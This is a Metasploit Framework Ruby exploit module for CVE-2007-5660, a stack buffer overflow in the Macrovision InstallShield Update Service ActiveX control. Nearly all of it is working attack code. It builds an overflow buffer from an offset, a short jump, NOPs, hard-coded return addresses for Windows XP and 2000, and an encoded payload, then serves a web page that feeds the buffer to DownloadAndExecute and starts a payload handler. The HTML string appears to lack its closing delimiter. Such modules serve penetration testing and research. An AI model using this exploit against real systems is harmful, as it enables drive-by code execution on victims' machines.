106 lines
2.8 KiB
Ruby
106 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Macrovision InstallShield Update Service Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Macrovision InstallShield Update
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Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
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the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-5660' ],
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[ 'OSVDB', '38347' ],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],
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[ 'Windows 2000 Pro English All', { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],
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],
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'DisclosureDate' => 'Oct 31 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(target['Offset'])
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sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)
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#[id(0x00000007), helpstring("method DownloadAndExecute")]
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#void DownloadAndExecute(
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# BSTR dispname,
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# BSTR ProductCode,
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# long MsgID,
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# BSTR url,
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# BSTR cmdline);
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
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<script language='javascript'>
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#{strname} = new String('#{sploit}')
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#{vname}.DownloadAndExecute("", #{strname}, 0, "", "");
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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